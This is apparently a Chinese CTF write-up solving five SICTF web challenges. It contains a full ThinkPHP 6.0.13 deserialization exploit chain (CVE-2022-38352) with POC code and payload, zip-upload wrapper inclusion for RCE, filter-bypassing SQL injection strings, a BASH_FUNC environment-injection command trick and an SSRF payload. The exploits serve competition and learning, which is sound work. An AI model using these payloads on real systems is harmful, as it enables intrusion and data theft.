Oyst3rPHP
考点
- php 数组被ban时md5弱类型比较,preg_match和stripo组合绕过其中一个
- thinkphp v6.0.13反序列化(CVE-2022-38352)漏洞
题目
分析
开题进来啥都没有
扫一下扫出/www.zip
下载下来得到源码
是一个thinkphp框架,php的轻量级开发框架
然后在...\www(1)\app\controller\Index.php
下发现反序列化注入点
源码如下(末尾那部分没用的代码我给删了)
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
代码审计下来很明显可以知道,要进入反序列化点还有两个php特性需要绕过
分别是md5弱类型比较和一个preg_match的绕过
首先肯定会想到数组绕过
但是这个题的get和post参数都是无法使用数组的,否则会出现如下报错(因此后面的stripos无法用数组绕过只能想办法绕过preg_match了)
md5无法用数组绕过,换用加密后0e开头的那几个字符串即可
?right=QNKCDZO&left=240610708
回溯绕过preg_match
exp如下:
import requests
url = 'http://yuanshen.life:39233/?right=QNKCDZO&left=240610708'
data = {
"key": "a" * 1000000 +"603thinkphp"
}
res = requests.post(url,data=data)
print(res.text)
可以成功进入反序列化点
接下来分析链子
1.thinkphp\vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php
中的public function __destruct()
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}/*WOW!!!看来你是懂的,第三个生蚝在根目录下的Oyst3333333r.php里,快去找到它吧*/
}
2.接着 $this->save 就会跳转到 Psr6Cache 类的 save 方法
thinkphp\vendor\league\flysystem-cached-adapter\src\Storage\Psr6Cache.php
这里在初始化的时候传入与了一个 $pool 变量
public function save()
{
$item = $this->pool->getItem($this->key);
$item->set($this->getForStorage());
$item->expiresAfter($this->expire);
$this->pool->save($item);
}
在 Psr6Cache 类中,$this->pool->getItem 调用时,出发了魔术方法_call,因为 Channel 对象中没有 getItem 方法。此时也会执行构造方法
3....\thinkphp\vendor\topthink\framework\src\think\log\Channel.php
public function __call($method, $parameters)
{
$this->log($method, ...$parameters);
}
在 Channel 类中的_call 方法,__call 方法中又调用了 $this->log 方法
public function log($level, $message, array $context = [])
{
$this->record($message, $level, $context);
}
4.接着跟踪 $this->record 方法,这个方法是用来记录日志信息的。这里最终会调用到 $this->save 方法
路径仍然是thinkphp\vendor\topthink\framework\src\think\log\Channel.php
public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
{
if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
return $this;
}
if (is_string($msg) && !empty($context)) {
$replace = [];
foreach ($context as $key => $val) {
$replace['{' . $key . '}'] = $val;
}
$msg = strtr($msg, $replace);
}
if (!empty($msg) || 0 === $msg) {
$this->log[$type][] = $msg;
}
if (!$this->lazy || !$lazy) {
$this->save();
}
return $this;
}
5.来到 save 方法,save 方法中又调用到了 $this->logger->save ()
路径仍然是thinkphp\vendor\topthink\framework\src\think\log\Channel.php
public function save(): bool
{
$log = $this->log;
if ($this->event) {
$event = new LogWrite($this->name, $log);
$this->event->trigger($event);
$log = $event->log;
}
if ($this->logger->save($log)) {
$this->clear();
return true;
}
return false;
}
这里在初始化的时候定义了 $this->logger = new think\log\driver\Socket () ,所以在调用的时候会去往 Socket 类(文章审的链子是这么说的,可能是我眼瞎没看到)
thinkphp\vendor\topthink\framework\src\think\log\driver\Socket.php
现在来到这个路径的save方法
部分代码如下:
if (!empty($this->config['format_head'])) {
try {
$currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
} catch (NotFoundExceptionInterface $notFoundException) {
// Ignore exception
}
}
if (!empty($this->config['format_head'])) {
try {
$currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
} catch (NotFoundExceptionInterface $notFoundException) {
// Ignore exception
}
}
此时 $this->config ['format_head'] = [new \think\view\driver\Php,'display']
这里的 $this->app->invoke 是调用反射执行 callable 支持参数绑定,进行动态反射调用
7.跟踪 $this->app->invoke
路径是thinkphp\vendor\topthink\framework\src\think\Container.php
public function invoke($callable, array $vars = [], bool $accessible = false)
{
if ($callable instanceof Closure) {
return $this->invokeFunction($callable, $vars);
} elseif (is_string($callable) && false === strpos($callable, '::')) {
return $this->invokeFunction($callable, $vars);
} else {
return $this->invokeMethod($callable, $vars, $accessible);
}
}
public function invokeMethod($method, array $vars = [], bool $accessible = false)
{
if (is_array($method)) {
[$class, $method] = $method;
$class = is_object($class) ? $class : $this->invokeClass($class);
} else {
// 静态方法
[$class, $method] = explode('::', $method);
}
try {
$reflect = new ReflectionMethod($class, $method);
} catch (ReflectionException $e) {
$class = is_object($class) ? get_class($class) : $class;
throw new FuncNotFoundException('method not exists: ' . $class . '::' . $method . '()', "{$class}::{$method}", $e);
}
$args = $this->bindParams($reflect, $vars);
if ($accessible) {
$reflect->setAccessible($accessible);
}
return $reflect->invokeArgs(is_object($class) ? $class : null, $args);
}
这里的判断循环最终会进入到 return $reflect->invokeArgs (is_object ($class) ? $class : null, $args);
通过这里的反射方法来到 Php 类下的 display 方法,$calss 是一个对象类,$args 就是对象类下的方法
- 跟踪Php 类下的 display 方法
路径是thinkphp\vendor\topthink\framework\src\think\view\driver\Php.php
public function display(string $content, array $data = []): void
{
$this->content = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
来到 display 方法中,$content 就是传递的值,然后拼接到了 eval 去执行命令
然后在网上找到CVE-2022-38352的POC
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php system("cat /Oyst3333333r.php"); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo base64_encode(serialize($a));
}
//运行得到:Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjI6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjE3OiJ0aGlua1xsb2dcQ2hhbm5lbCI6Mjp7czo5OiIAKgBsb2dnZXIiO086MjM6InRoaW5rXGxvZ1xkcml2ZXJcU29ja2V0IjozOntzOjk6IgAqAGNvbmZpZyI7YTo0OntzOjU6ImRlYnVnIjtiOjE7czoxNjoiZm9yY2VfY2xpZW50X2lkcyI7aToxO3M6MTY6ImFsbG93X2NsaWVudF9pZHMiO3M6MDoiIjtzOjExOiJmb3JtYXRfaGVhZCI7YToyOntpOjA7TzoyMToidGhpbmtcdmlld1xkcml2ZXJcUGhwIjowOnt9aToxO3M6NzoiZGlzcGxheSI7fX1zOjY6IgAqAGFwcCI7Tzo5OiJ0aGlua1xBcHAiOjE6e3M6MTI6IgAqAGluc3RhbmNlcyI7YToxOntzOjEzOiJ0aGlua1xSZXF1ZXN0IjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoxOntzOjY6IgAqAHVybCI7czo0OToiPD9waHAgc3lzdGVtKCJjYXQgL095c3QzMzMzMzMzci5waHAiKTsgZXhpdCgpOyA/PiI7fX19czoxMjoiACoAY2xpZW50QXJnIjthOjE6e3M6NToidGFiaWQiO3M6MToiMSI7fX1zOjc6IgAqAGxhenkiO2I6MDt9czoxMToiACoAYXV0b3NhdmUiO2I6MDt9
最终exp:
import requests
url = 'http://yuanshen.life:39233/?right=QNKCDZO&left=240610708'
data = {
"key": "a" * 1000000 +"603thinkphp",
"payload":"Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjI6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjE3OiJ0aGlua1xsb2dcQ2hhbm5lbCI6Mjp7czo5OiIAKgBsb2dnZXIiO086MjM6InRoaW5rXGxvZ1xkcml2ZXJcU29ja2V0IjozOntzOjk6IgAqAGNvbmZpZyI7YTo0OntzOjU6ImRlYnVnIjtiOjE7czoxNjoiZm9yY2VfY2xpZW50X2lkcyI7aToxO3M6MTY6ImFsbG93X2NsaWVudF9pZHMiO3M6MDoiIjtzOjExOiJmb3JtYXRfaGVhZCI7YToyOntpOjA7TzoyMToidGhpbmtcdmlld1xkcml2ZXJcUGhwIjowOnt9aToxO3M6NzoiZGlzcGxheSI7fX1zOjY6IgAqAGFwcCI7Tzo5OiJ0aGlua1xBcHAiOjE6e3M6MTI6IgAqAGluc3RhbmNlcyI7YToxOntzOjEzOiJ0aGlua1xSZXF1ZXN0IjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoxOntzOjY6IgAqAHVybCI7czo0OToiPD9waHAgc3lzdGVtKCJjYXQgL095c3QzMzMzMzMzci5waHAiKTsgZXhpdCgpOyA/PiI7fX19czoxMjoiACoAY2xpZW50QXJnIjthOjE6e3M6NToidGFiaWQiO3M6MToiMSI7fX1zOjc6IgAqAGxhenkiO2I6MDt9czoxMToiACoAYXV0b3NhdmUiO2I6MDt9"
}
res = requests.post(url,data=data)
print(res.text)
得到flag:
flag
SICTF{00e5b08c-c121-402b-a350-678ee2a6764d}
reference
100%upload
考点
- 文件上传zip+文件包含zip压缩流伪协议
题目
分析
这个题说来惭愧,没看到有一个get参数,一直在那试没用到文件包含的文件上传导致被卡半天,属于是眼瞎了
开题看到页面
经过测试php,php3等等后缀均被ban
而且不是MIME检测,因此无法传图片发包改后缀
zip文件可以上传,因此通过php伪协议包含zip压缩流的内容来getshell
zip的三种伪协议,均尝试过,只有zlib被允许使用,其余两种zip://和bzip2如下,这两种协议没有开,因此只能用zlib
zip文件是一个图片马做过来的
上传
然后rce
http://yuanshen.life:39277/index.php?file=compress.zlib://uploads/2.zip&cmd=system('cat /flag');
flag
SICTF{5b331959-b1af-40f1-8603-2958eddd854c}
hacker
考点
sql无列名注入
题目
分析
fuzz跑一下被ban的
这里麻了,就一列,开始忘了判断一列的了
判断列数:
当前数据库:
?username=1.1'/**/union/**/select/**/database()'
接下来查表名,由于information_schema被ban,所以想到
sys.schema的其中两个表,但是也被ban,
然后查一下文章https://k1te.cn/2021/05/19/no-column-sql-injection/
发现mysql.innodb_table_stats
也可以查表名
无列名注入查表名
1.1'/**/union/**/select/**/(select/**/`1`/**/from/**/(select/**/1/**/union/**/select/**/table_name/**/from/**/mysql.innodb_table_stats)a/**/limit/**/1,1)'
找flag
1.1'/**/union/**/select/**/(select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a/**/limit/**/1,1)'
flag
SICTF{f3f809e6-8410-42e0-92c1-6431f540f7d0}
Not just unserialize
考点
- bash shellshock漏洞
- 环境变量注入漏洞
题目
分析
开题就是反序列化源码
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
链子简单,POC如下
<?php
class start
{
public $welcome;
public $you;
}
class SE{
public $year;
}
class CR {
public $last;
public $newyear;
}
class ET{
}
$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear='Worries';
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));
?>
然后就是学习环境变量注入漏洞
参考文章
关键部分如下
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
个人理解是:
bash shellshock漏洞通过BASH_FUNC_函数名%%=() { 命令; }来覆盖并且重新定义函数功能,通过环境变量注入漏洞将echo函数自定义成自己的命令,从而题目源码末尾在调用system之后echo那一串字符串时就会被覆盖为执行我们覆盖后的函数功能,从而达到rce
payload(注意小括号后有空格,大括号后也有空格)
?get[BASH_FUNC_echo%%]=() { ls /;}
post参数:
go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=
flag
SICTF{c3b1403d-c792-405d-965e-3f559cb2d0a5}
EZ_SSRF
考点
- ssrf漏洞
题目
分析
学习文章 http://f0und.icu/article/23.html
开题就是php源码
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
if(isset($_GET['Harder'])) {
unserialize($_GET['Harder']);
} else {
echo "You don't know how to pass parameters?";
}
?>
You don't know how to pass parameters?
根据hint扫出路由
poc如下
<?php
class client{
public $url;
public $payload;
}
$b=new client();
$b->url='http://127.0.0.1/admin.php';
echo serialize($b);
#O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}
拿去解码得到flag
flag
SICTF{4fa62797-2fee-4317-a57a-3b2a595082e6}
Comments | NOTHING